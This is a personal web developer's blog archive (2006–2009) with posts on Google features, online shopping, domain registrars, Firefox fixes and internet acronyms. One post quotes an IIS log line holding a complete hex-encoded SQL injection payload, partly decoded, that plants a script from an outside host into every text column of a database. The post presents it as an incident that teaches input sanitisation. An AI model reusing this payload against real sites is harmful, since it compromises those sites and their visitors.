Feedstats dropped by half overnight?
Tuesday, January 20, 2009 1:22:45 PM (GMT Standard Time, UTC+00:00)
This was an interesting one, I've had about 42 subscribers for months (or there abouts) and then suddenly on Friday I lost nearly half.
I know they're not big numbers but I wonder if Feedburner have noticed a glitch in their code.
Another Google feature
Monday, January 19, 2009 7:46:56 PM (GMT Standard Time, UTC+00:00)
As I don't follow football I'm probably slow to pick this one up but thought I'd share it, when Googling "Newcastle" I got last/next fixture results so I thought I'd try it for West Brom:
Pretty neat. I wonder when it'll start showing results from the marathon canoeing ;)
New Google Feature
Sunday, December 28, 2008 5:59:09 PM (GMT Standard Time, UTC+00:00)
I've been sitting on this for a few weeks now -mainly due to my own laziness but I thought I'd finally pad it out a little. It would appear that Google have release a new method of ranking your own results for certain terms:
Once you've promoted a page you'll notice a little green arrow to the right of the title link and the results will come back in this order every time you search on that term while you're logged in.
At the moment I think it's just stored against your profile but I would imagine at some point in the future they'll start monitoring what everyone else is promoting and adjusting their results accordingly.
What I'm interested to know about is how it affects SEO, I can't imagine they'll add too much preference to the promotions otherwise we could be in for another Google Bomb situation where your competitors promote or demote your site.
IE classes DDD feedback site as a phishing site…
Wednesday, November 26, 2008 1:00:05 PM (GMT Standard Time, UTC+00:00)
This one made me laugh today, Chris Anderson alerted me to it but you would have thought the MS guys would have picked up on it...
Incidentally, it's the first time I've seen this message on any site...
Is buying online better than in the store?
Friday, August 01, 2008 11:00:22 PM (GMT Daylight Time, UTC+01:00)
I've been an advocate of buying goods online for quite some time now but have been astounded at the level of service received recently that leads me to believe that buying online is slowly removing the benefits of buying in a store.
A little background: My camera broke (again) the other day. I've returned this model to Amazon before and wasn't aware that if the item has a problem again, they don't replace it, they just refund the cost. An interesting policy -especially as my problems were not related, but a nice surprise.
As I packaged up my old camera to return (a very painless process I might add) I got looking around for a replacement. Checking out the online reviews, I found my 3 favourites to pottered off to Jessops to check them out. The lady at Jessops was very helpful, pretty much confirming everything I had read online. So it came to deal time, I don't mind paying a little extra in store to get the item the same day and to do a little bartering.
Today was not to be my day though, it turns out the only one left in stock was the show model, normally a good way of getting some extra money off but not this time, it wasn't for sale. Bare in mind this was Saturday, the fastest they could get me the model I want (a mainstream camera not overly in demand) was Wednesday! So off I went home and bought it online on the Sunday. It arrived Tuesday at 9:15! What an exceptional service (thanks UK Digital Cameras).
Then, on Monday evening (around 2100) I ordered my new number plates from Demon Plates expecting them to take a few days to be made and posted (so they should have arrived today) but instead, they arrived on Wednesday! Amazing.
Don't get me wrong, I think stores have a place, its's still nice to pop into a shop and pick up the items you're interested in. There's definitely still something in feeling the item before you buy but service wise online stores are really starting to take over.
All I can say is keep it up guys, you're doing the industry a great service! I hope our ecommerce website owners are as efficient.
Flickr Pro free to BT Yahoo! users
Thursday, June 05, 2008 9:25:24 PM (GMT Daylight Time, UTC+01:00)
I've never really got into Flickr but now I'm using Windows Live Photo Gallery which can automatically upload images for you I thought I'd give it ago. While checking out what the restrictions were on my standard (free!) account I was pleasantly surprised to find out I've actually got a pro account courtesy of BT Yahoo! -Shame I'm leaving them this month ;)
A seriously elegant SQL Injection
Wednesday, May 28, 2008 5:46:49 PM (GMT Daylight Time, UTC+01:00)
Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...
This is an extract from the IIS log file:
2008-05-20 21:21:28 W3SVC1 xxx.xxx.xxx.xxx POST /news_detail.asp newsID=37;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0039006900350074002E0063006E002F0061002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 80 - 221.130.180.215 Mozilla/3.0+(compatible;+Indy+Library) -
www.domain.com 200 0 0
This works out to:
DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a
.name
,b
.name
from sysobjects a
,syscolumns b
where a
.id=b
.id
and a
.xtype=
'u' and (b
.xtype=
99 or b
.xtype=
35 or b
.xtype=
231 or b
.xtype=
167) OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C WHILE(@@FETCH_STATUS=
0) 
begin...end Table_Cursor
DEALLOCATE Table_Cursor
Very nice :) (though I can't condone hacking -no matter how elegant it is!)
p.s. The moral of the story is Always sanitise your strings -it's easy!
Is this the demise of Facebook?
Sunday, February 24, 2008 4:48:57 PM (GMT Standard Time, UTC+00:00)
Facebook is many things to many people. When it first hit our shores, to me it was one of the coolest things out -mainly because I lost track with a fair number of people that I wanted to get in touch with. No doubt like many others I found looking at other people's photos fairly addictive and lost countless hours seeing what others were up to.
More recently however I've not made the time for Facebook -much to the annoyance of certain friends who still live on the website. To me Facebook has become boring and stagnant, because now I've caught up with most people I lost touch with -and I don't have enough time to play all the games-, what's left?
For quite some time now Stacey has voiced concern over the fact that Facebook encourages people to live in the past -which I agree with. It's not a bad thing catching up with friends you've lost track of but after that what value is there really in Facebook?
Her point really hit home the other day when a particularly unpleasant person from school joined, I suspect they have been a member of Facebook for quite some time but nobody bothered looking them up. I know some people consider Facebook as a competition of "who knows the most people" but to me I've only really ever added friends, admittedly there are one or two loose "friend" connections in my list of friends but I'd happily enjoy a pint with any of them. So when this particular person added me I decided not to accept, since then I've been bombarded with repeat requests and messages asking me to add them.
It sounds silly but I find it a little hypocritical adding someone to my "friend" list who I have no affiliation with or desire to get to know. My reasoning is not that unjustified as I and a few other people I know have met up with the person in question since leaving school in the hope they've changed and sadly everyone agrees that they've not changed in the slightest. So why would I want to appease their conscious?
Why the demise of Facebook? Well for me I don't see any point in re-visiting the site other than once a month or so to check my messages etc so have they reached their visitor ceiling? I'm sure there are other untapped markets globally for them but once you've caught up with people and sent them a few messages, what other use is Facebook?
Google gets the lurve bug
Thursday, February 14, 2008 10:02:19 PM (GMT Standard Time, UTC+00:00)
We've started to use Google Docs to manage the workload of our remote workers -which I have to say works pretty well, logging on today I was really impressed to see that Google Docs had gone all out to pimp out their interface.
I think it's really nice so for those of you who don't use Google Docs click the image to see the results :)
It's little things like the heart instead of the star...
Ok, back to managing peoples time :P
Is Google taking the P? How should I know, it's all gibberish to me...
Friday, February 01, 2008 12:12:28 PM (GMT Standard Time, UTC+00:00)
I recently signed up for a new Google account for client related stuff and ever since have found that the entire user interface has changed into another language -I would guess Greek or Polish but I don't really have a clue. I don't know why it started like this as I sure as damn-it chose English but it makes me laugh every-time I see it.
I've even tried changing all my settings to English but Google just doesn't want me to read what it's saying -luckily I'm familiar enough with the interface that I can navigate around it without needing to know what it's saying ;)
Some Google fun
Monday, January 28, 2008 10:24:23 PM (GMT Standard Time, UTC+00:00)
Thanks to Chris Anderson for this one -shame I missed it the day he posted it due to mega issues but worth sharing:
- Goto Google (www.google.com incase you're that uneducated :P)
- Type into the search "find Chuck Norris"
- Click the "I'm feeling lucky button"
- Enjoy
Well it made me smile at least
*Goes off to find a good CN movie*
Fantastic new -and cheap domain name registrars
Wednesday, January 16, 2008 12:59:38 PM (GMT Standard Time, UTC+00:00)
After our recent issues with Fasthosts (or as they are now fondly referred to in the office - Farcehosts) I have made the conscious decision to move away from them completely over the forthcoming months (probably years). We no longer have any clients on their hosting platform but we still have circa 300 domain names registered through various accounts through their sister company UKReg.
Due to the authority's charges, we can't just transfer all these domains away as it'd cost us a fortune (and possibly one we can't recoup) so I'm going to do it as they expire. In our search to find an alternative provider someone suggested we check out the new kid on the block - Heart Internet. According to those in the know on Underscore they are a bunch of guys who used to work at 1&1 and decided they could do it better.
So far I've found their service to be great -and value wise they're cheaper than most providers which is a bonus. As with most of the providers these days it's all managed through their easy to use online control panel which is pretty straight forward. If you're on the lookout for great value or cheap domain names give Heart Internet a look.
BTW if you're wondering where Heart Internet's .co.uk domain names from 9p is, check under the transfer fees. Still £2.59 is a great price for any .co.uk!
Setting trends - high value IP addresses
Monday, June 18, 2007 4:49:11 PM (GMT Daylight Time, UTC+01:00)
In a somewhat random chat with Chris Anderson today I decided that I wanted to obtain the IP address 80.08.13.55 (IP6) or even better 53.180.0.8 (both timeout atm). It got me wondering whether you can you purchase a specific IP like that and whether that could be the new trend...
Chris wants felt 7.107.73.45 was more appropriate for our American comrades but I think that’s a little boring...
For those of you who didn't make it to school, type it into your calculator without the periods and see what you get (note my primary school calculator example -I'm returning it to it's roots)...
See it yet?
No? Turn it the other way up:
How about now?
FREE BEER -and the chance to chat to like minded media types
Friday, June 08, 2007 12:39:02 PM (GMT Daylight Time, UTC+01:00)
This has to be my laziest post yet, it's just a paste of the press release but I'm to excited at the thought of free beer to re-write it ;) -Hope to see you there, shout if you're going.
Chinwag Joins Forces With Top Software And Media Brands For Supersized Digital Networking Party
The UK digital media industry is gearing up for a soiree of grand proportions in July at Chinwag's Big Summer 07 networking party (http://bigsummer07.chinwag.com).
Giving the bash an extra boost - and supporting the inventive and fun entertainment programme, plus the lavish refreshments on site - are Chinwag's three party partners: Adobe (http://www.adobe.com/), Channel 4 (http://www.channel4.com/), and Purple (http://www.purple-consultancy.com/).
The free event, to be held at the historic Imperial College Union in Kensington, London, will be the largest-scale bash of its kind for people working in the digital sector, with the party encompassing 5 large rooms and the enclosed quadrangle, allowing a total capacity of 2,000 revellers at any one point in time.
Hosted by new media community Chinwag, it will to bring together professionals in web, mobile and other interactive media to make useful connections, celebrate the return of the new media sector as a sustainable growth industry, and mingle in style in the sunshine of a London summer's evening.
Dominic Eames, editor, Online, at Channel 4 New Media said: "Channel 4 is always open to new ideas from the New Media community and is delighted to support Chinwag in this event.
Toby Thwaites, managing director of Purple said: "Having worked with the team at Chinwag for a number of years I am delighted that Purple are able to support what will undoubtedly be the Digital event of the Summer"
Sam Michel, Chinwag MD and founder said: "This is a great opportunity for the new media industry to do some "First Life" networking. The UK scene is buzzing with life, and it's great to bring everyone together en masse."
"The party takes place on July 5. More details will be released in the forthcoming weeks with promotional activities, partnership with brands, and innovative use of social networking tools and technologies such as Facebook and Twitter included in the mix."
More information & registration: http://bigsummer07.chinwag.com
About Chinwag
Chinwag aims to be a connecting rod for ideas and talent across the new media industries. Having provided Internet-based community forums, websites, email newsletters and consultancy for the new media sector since 1996, its website (http://www.chinwag.com) will be re-launched in July, aggregating information for the digital industries and updating its community focus. In February 2007 the Chinwag Live events series (http://live.chinwag.com) was launched. Topical panel discussions founded to cast light on issues and trends affecting the new media industries, the monthly sessions have also gone on tour to Internet World and Ad:Tech.
In addition, Chinwag publishes Chinwag Jobs (http://jobs.chinwag.com), the leading recruitment website for online marketing, digital media, web, design and technical positions. It is used by the BBC, MySpace.com, Yahoo!, Amazon, Vodafone and the majority of recruitment agencies who place staff in the sector.
Chinwag - Connecting New Media People
Site: http://bigsummer07.chinwag.com
Joost invites for all...
Thursday, May 03, 2007 4:46:11 PM (GMT Daylight Time, UTC+01:00)
I found out this morning that my Joost account has been credited with 999 invites (I kid you not) so feeling all summery I thought others might want to join in the Joost fun and I’d share them around a little.
I’ve only got 999 Joost invites so it’ll have to be strictly on a first come –first served basis (as if I’m ever going to get rid of them all haha).
I don’t want anything in return but if this offer is too generous or you feel I’ve helped you in the past and you’re debted to me, why not click some of the Google Adverts –or even better, make a donation to our 96 mile canoe race (the Cheshire ring race) in aid of the Samantha Dickson Brain Tumour Trust, Multiple Sclerosis Society, CLIC Sargent and Mac Millan Nurses, I like to think of it of a “You scratch my back, I’ll scratch your back” arrangement.
Regardless of whether you want to donate to our worth cause or not, drop me an email (or leave me a comment) and I’ll send an invite over ASAP.
For more information on our 96 mile canoe race (the Cheshire ring race) in aid of charity go to www.paddlathon.co.uk or read my blog posts about the Cheshire ring race.
My first heads up (I think)
Wednesday, February 14, 2007 6:28:29 AM (GMT Standard Time, UTC+00:00)
Awesome, I had my first non-friend/family cross-blog comment the other day (very exciting stuff!) so I decided to check out the referring site and there, in all it's glory was a link to by blog! Seeing as one of the primary aims of this blog was to help others -even if it was just with simple information that other's may consider trivial- I'm over the moon! (Yep, it's the simple things in life that please me!)
So thanks to -=DeathToSpam=- whoever you are that made my day :)
If you don't believe me, check out the "Noteworthy Dev-Blogs" list at http://aspnyc.blogspot.com/ personally I don't feel I'm worthy enough to be listed next to Phil Winstanley and Scott Guthrie but it's certainly an honour!
If you've linked to my blog I'd love to hear from you and see what you're saying.
Those darn icons (again)
Friday, January 12, 2007 6:39:22 PM (GMT Standard Time, UTC+00:00)
After a few months of intensive swapping, I've finally completed something -my collection of free deliveries from Icon Buffet. If you need any let me know, I may have some deliveries to spare. Now I just need to find somewhere to use them!
Here are the 57 icon sets I've got:
A song about Lovely Birmingham
Wednesday, November 29, 2006 12:18:43 PM (GMT Standard Time, UTC+00:00)
I'm not a fan of YouTube but I was sent this video this morning and it made me smile, I must find out when the choir's next in town...
Deleting "Ghost" extensions from FireFox
Friday, November 24, 2006 4:18:23 PM (GMT Standard Time, UTC+00:00)
Since updating Firefox to v1.5 I had a number of extensions that I couldn’t remove from the list because they were greyed out, this was somewhat irritating as I had the later versions installed too and so I was getting duplicates (see below)
Today I decided to see if I could resolve this, it turns out removing these ghost/incompatible extensions is fairly simple:
- Close any instances of Firefox you have open
- Navigate to %Documents and Settings%\Username\Application Data\Mozilla\Firefox\Profiles\*.default\
- Backup the file: “extensions.rdf”
- Open “extensions.rdf” in a text editor i.e. Notepad or TextPad
- Find the line that starts with: <RDF:Seq RDF:about="urn:mozilla:item:root">
Below is a list of the extensions you have installed, I can only talk about my case but the ones that were greyed out extensions in Firefox were the ones that had a resource value of a URL rather than “urn:mozilla:item:{Guid}”. My file looked like this:
Simply delete these lines from the file, save it and restart Firefox. All should be back as it should be now…
I’m a bot! –According to Google Anyways
Monday, October 09, 2006 9:51:17 AM (GMT Daylight Time, UTC+01:00)
While fitting my new chipset cooler fan this morning I was checking out an error message on Google (which as it turns out I knew the answer to) and I was presented with a CAPTCHA image –I guess Google’s getting a lot of automated requests. This was using the built in Firefox search box but then I got it again on the PC using Google’s search box!
Icons, Icons, Icons *yawn*
Wednesday, August 23, 2006 8:56:47 AM (GMT Daylight Time, UTC+01:00)
Tired of having to work out how many icon sets I’ve got I decided I would write a list here and update it, anyone that wants them let me know :) -ones that are 0 mail me for the zip…
Anaheim Alert (8 vigilantly informative icons)
5 deliveries remaining
Blinksale (25 invoicing-made-easy icons)
3 deliveries remaining
Farewell Snow (10 snowy creations)
4 deliveries remaining
Manhattan Metroplex (8 icons with a very short commute)
5 deliveries remaining
Manhattan Night Life (10 icons living it up.)
5 deliveries remaining
Manhattan Smilies 1 (8 dramatic mood swings)
5 deliveries remaining
Manhattan Veggie (7 farm-fresh icons)
5 deliveries remaining
Marseilles Breakfast (8 icons fortified with vitamins and iron)
5 deliveries remaining
Marseilles Cafe (7 freshly-ground icons)
4 deliveries remaining
Modena Alfanumerico Molten (39 letters and numbers, camerata!)
5 deliveries remaining
Modena Simbolo (45 metallic symbolic frolics)
0 deliveries remaining
Oslo Atmosphere (9 happy weather icons)
1 delivery remaining
Oslo Easter (12 icons for Pascha Resurrectionis)
5 deliveries remaining
Oslo Finance (Get your Euro on! 12 icons)
0 deliveries remaining
Shanghai Tech (Get it? 15 icons...)
2 deliveries remaining
Shanghai Tech Smilies (Whoa! 36 smilies?)
1 delivery remaining
Taipei Night Market (14 Asian-esque icons)
3 deliveries remaining
Taipei Plastic Primates (18 days in the life of a plastic monkey)
1 delivery remaining
Tower Grove Elementalist (8 icons conjured up to do your bidding)
5 deliveries remaining
Tower Grove Promenade (11 iconic park fixtures)
4 deliveries remaining
For those of you not familiar with Icon Buffet, they offer free sets of icons at www.iconbuffet.com
Ones I'm missing:
- Alexandria Architecture
- Alexandria Atmosphere
- Dresden Tournament
- Durango Research
- Helsinki Hi-Fi
- Mallow Buzz 1
- Mallow Buzz 2
- Manhattan Finance
- Manhattan Smilies 2
- Manhattan Symbol
- Modena Alfanumerico Cold
- Modena Alfanumerico Cool
- Shanghai Tech Vector
- Shanghai Toolbox
- Taipei Buddies 1
- Taipei Buddies 2
- Taipei Monkey
- Tower Grove Melee
- Tower Grove Wedding
Internet acronyms -What do they mean and when to use them
Sunday, July 02, 2006 4:09:08 PM (GMT Daylight Time, UTC+01:00)
Having been chatting on the net for a long time, I use internet acronyms in most of my day-day conversations over instant messengers (IMs). When you get used to them they're massive timesavers but before then it must seem like they're leaving out a lot of letters -producing gobbledy goop! Although some acronyms are phonetically based, many are are not and often confusing, so sparked by a number of people new to IMs constantly stopping me and asking what it meant (so not making it a timesaver at all while I either typed it out or found a dictionary of acronyms) I decided I would overview a list of acronyms that I use on a regular occasion as a reference point, I may add more later and I hope its of use to someone else out there (please note some of these are just ones that I've made up/use to aid development talk).
General
- gtg
- Got To Go
- brb
- Be Right Back (less than 5mins)
- bbiab
- Be Back In A Bit (5 - 15mins)
- bbiaw
- Be Back In A While (15mins +)
- b
- Back
- wb
- Welcome Back
- ty
- Thank You
- yw
- You're Welcome.
- atm
- At The Moment
- ttyl
- Talk To You Later
- styl
- Speak To You Later
- cya
- See You
- cu
- See You
- afaik
- As Far As I Know
- afaiaa
- As Far As I Am Aware
- afaiac
- As Far As I'm Concerned
- afaics
- As Far As I Can See
- afaict
- As Far As I Can Tell
- b/c
- Because
- w/
- With
- w/o
- WithOut
- g/f
- GirlFriend
- b/f
- BoyFriend
- gl
- Good Luck
- omg
- Oh My God
- faq
- Frequently Asked Question(s)
- nm
- Never Mind
- n1
- Nice One
- n2s
- Needless To Say
- nn
- Night Night
- n00b
- A inexperienced and / or ignorant or unskilled person (especially used in computer games)
- nmp
- Not My Problem
- nmj
- Not My Job
- pwned
- Beating / Defeating / Outclassing someone
- lol
- Laugh(ing) Out Loud
- k
- Ok
- btw
- By The Way
- lmao
- Laugh(ing) My Ass Off
- wrt
- With Regards To
Ones I don't tend to use but I frequently see
- wtf
- What The F***
- wth
- What The Hell
- fo
- F*** Off
- fk
- F*** Knows
- fa
- F*** All
- sfa
- Sweet F*** All
- ffs
- For F***'s Sake
- po
- P*** Off
Technical
- w/s
- Web Service
- se
- Search Engine
- seo
- Search Engine Optimisation
Smileys
- :)
- Smiley / Happy
- :D
- Mega Happy
- :(
- Sad
- ;)
- Winking
- :P
- Sticking Toungue Out
- :o
- Surprised
- :|
- Disappointed
- :S
- Confused / Worried
- :#
- Don't Tell Anyone
- Crying
- >:(
- Annoyed
- :@
- Angry
- |-)
- Sleepy / Tired / Yawning
Actions
When a phrase is contained in <> it generally refers to an action the user is doing
- <g>
- Grin
- <bg>
- Big Grin
- <vbg>
- Very Big Grin
- <vbeg>
- Very Big Evil Grin
When a is contained in >< it means the user is referring to himself
i.e. >Thinks its too late to be writing an article<
It may also be worth checking out: Google as there's many more complete dictionaries out there!